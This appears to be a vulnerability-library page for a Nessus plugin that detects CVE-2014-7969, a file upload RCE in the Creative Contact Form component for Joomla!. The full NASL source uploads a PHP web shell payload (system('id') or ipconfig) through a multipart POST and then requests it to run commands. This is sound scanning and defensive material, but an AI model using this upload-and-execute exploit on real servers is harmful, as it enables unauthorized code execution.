Creative Contact Form Component for Joomla! File Upload RCE - Nessus

Critical   Plugin ID: 79420

This page contains detailed information about the Creative Contact Form Component for Joomla! File Upload RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents
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Plugin Overview

ID: 79420
Name: Creative Contact Form Component for Joomla! File Upload RCE
Filename: joomla_creative_contact_form_fileupload.nasl
Vulnerability Published: 2014-10-23
This Plugin Published: 2014-11-24
Last Modification Time: 2022-04-11
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: joomla_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: installed_sw/Joomla!, www/PHP

Vulnerability Information

Severity: Critical
Vulnerability Published: 2014-10-23
Patch Published: 2014-10-27
CVE [?]: CVE-2014-7969
CPE [?]: cpe:/a:joomla:joomla!

Synopsis

The remote web server contains a PHP application that is affected by a remote code execution vulnerability.

Description

The Creative Contact Form component for Joomla! (previously known as Sexy Contact Form) running on the remote host is affected by a remote code execution vulnerability within the com_creativecontactform/fileupload/index.php script due to improper sanitization or verification of uploaded files before placing them in a user-accessible path. An unauthenticated, remote attacker can exploit this issue, by uploading and then making a direct request to a crafted file, to execute arbitrary PHP code on the remote host, subject to the privileges of the web server user ID.

Solution

Upgrade to Joomla! version 2.0.1 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Creative Contact Form Component for Joomla! File Upload RCE vulnerability:

  1. Exploit-DB: exploits/php/webapps/34922.txt
    [EDB-34922: WordPress Plugin Creative Contact Form 0.9.7 - Arbitrary File Upload]
  2. Exploit-DB: exploits/php/webapps/35057.py
    [EDB-35057: WordPress Plugin 0.9.7 / Joomla! Component 2.0.0 Creative Contact Form - Arbitrary File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2014-7969
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:ND
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:5.9 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.9 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:X
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:8.8 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.8 (High)

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Plugin Source

This is the joomla_creative_contact_form_fileupload.nasl nessus plugin source code. This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(79420);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2014-7969");
  script_bugtraq_id(70723);
  script_xref(name:"EDB-ID", value:"35057");

  script_name(english:"Creative Contact Form Component for Joomla! File Upload RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Creative Contact Form component for Joomla! (previously known as
Sexy Contact Form) running on the remote host is affected by a remote
code execution vulnerability within the
com_creativecontactform/fileupload/index.php script due to improper
sanitization or verification of uploaded files before placing them in
a user-accessible path. An unauthenticated, remote attacker can
exploit this issue, by uploading and then making a direct request to a
crafted file, to execute arbitrary PHP code on the remote host,
subject to the privileges of the web server user ID.");
  script_set_attribute(attribute:"see_also", value:"https://creative-solutions.net/joomla/creative-contact-form");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Joomla! version 2.0.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:X");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-7969");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/10/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/10/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/11/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "joomla_detect.nasl");
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = "Creative Contact Form";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('creativecontactform');
  checks["/components/com_creativecontactform/assets/js/creativecontactform.js"] = regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig%20/all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig%20/all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig%20/all'] =  'Windows IP Configuration|(Subnet Mask|IP(v(4|6))? Address)[\\. ]*:';

token = (SCRIPT_NAME - ".nasl") + "-" + unixtime();
ext = ".php";
vuln = FALSE;
r = 0;

boundary = '-------------------------------';

foreach cmd (cmds)
{
  token += r;
  if (cmd == "id")
    attack = "<?php system('id');echo('path='); system('pwd');?>";
  else
  {
    attack = '<?php echo(' + "'<pre>');system('ipconfig /all');system('dir " +
    token + ext + "');?>";
  }

  postdata =
    boundary + '--\r\n' +
    'Content-Disposition: form-data; name="files[]"; filename="' + token + ext +
    '"\r\n' +
    'Content-Type: text/plain\r\n' +
    '\r\n' + attack + '\r\n\r\n' +
    boundary + '----\r\n';

  # Attempt exploit
  res = http_send_recv3(
    method       : "POST",
    item         : dir + "/components/com_creativecontactform/fileupload/index.php",
    port         : port,
    data         : postdata,
    add_headers  : make_array("Content-Type", "multipart/form-data; boundary=" +
                   boundary),
    exit_on_fail : TRUE
  );

  attack_req = http_last_sent_request();

  # Try accessing the file we uploaded
  file_path = "/components/com_creativecontactform/fileupload/files/" +
    token + ext;

  res2 = http_send_recv3(
    method       : "GET",
    item         : dir + file_path,
    port         : port,
    exit_on_fail : TRUE
  );
  output = res2[2];

  if (egrep(pattern:cmd_pats[cmd], string:output))
  {
    vuln = TRUE;
    if (cmd == "id")
    {
      line_limit = 2;
      item = pregmatch(pattern:"path=(.*)", string:output);

      if (!empty_or_null(item))
      {
        path = chomp(item[1]) + '/' + token + ext;
        pos = stridx(output, "path=");
        output = substr(output, 0, pos-1);
      }
      else path = 'unknown';
    }
    else
    {
      cmd = 'ipconfig /all'; #Format for report output
      line_limit = 10;
      output = strstr(output, "Windows IP");
      item = pregmatch(pattern:"Directory of (.*)", string:output);

      if (!empty_or_null(item))
      {
        path = chomp(item[1]) + '\\' + token + ext;
        pos = stridx(output, "Volume in drive");
        output = substr(output, 0, pos - 1);
      }
      else path = 'unknown';
    }
    if (empty_or_null(output)) output = res2[2]; # Just in case
    break;
  }
  # Increment file name before next request attempt
  else r++;
}
if (!vuln) audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " component");

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : line_limit,
  request     : make_list(attack_req, install_url + file_path),
  output      : chomp(output),
  rep_extra   : '\n' + 'Note: This file has not been removed by Nessus and will need to be' +
                '\n' + 'manually deleted (' + path + ').'
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/joomla_creative_contact_form_fileupload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\joomla_creative_contact_form_fileupload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/joomla_creative_contact_form_fileupload.nasl

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How to Run

Here is how to run the Creative Contact Form Component for Joomla! File Upload RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Creative Contact Form Component for Joomla! File Upload RCE plugin ID 79420.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl joomla_creative_contact_form_fileupload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a joomla_creative_contact_form_fileupload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - joomla_creative_contact_form_fileupload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state joomla_creative_contact_form_fileupload.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 79421 - Creative Contact Form Plugin for WordPress File Upload RCE
  • 32442 - Creative Software AutoUpdate Engine ActiveX (CTSUEng.ocx) Unspecified Overflow
  • 91386 - Adobe Creative Cloud <= 3.5.1.209 Arbitrary File Read/Write Vulnerability
  • 91780 - Adobe Creative Cloud Desktop < 3.7.0.272 Multiple Vulnerabilities (APSB16-21)
  • 99366 - Adobe Creative Cloud Desktop < 4.0.0.185 Multiple Vulnerabilities (APSB17-13)
  • 109729 - Adobe Creative Cloud Desktop < 4.5.0.331 Multiple Vulnerabilities (APSB18-12)
  • 157902 - Adobe Creative Cloud Desktop Arbitrary Code Execution (ASPB22-11)
  • 91387 - Adobe Creative Cloud <= 3.5.1.209 Arbitrary File Read/Write Vulnerability (Mac OS X)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file joomla_creative_contact_form_fileupload.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

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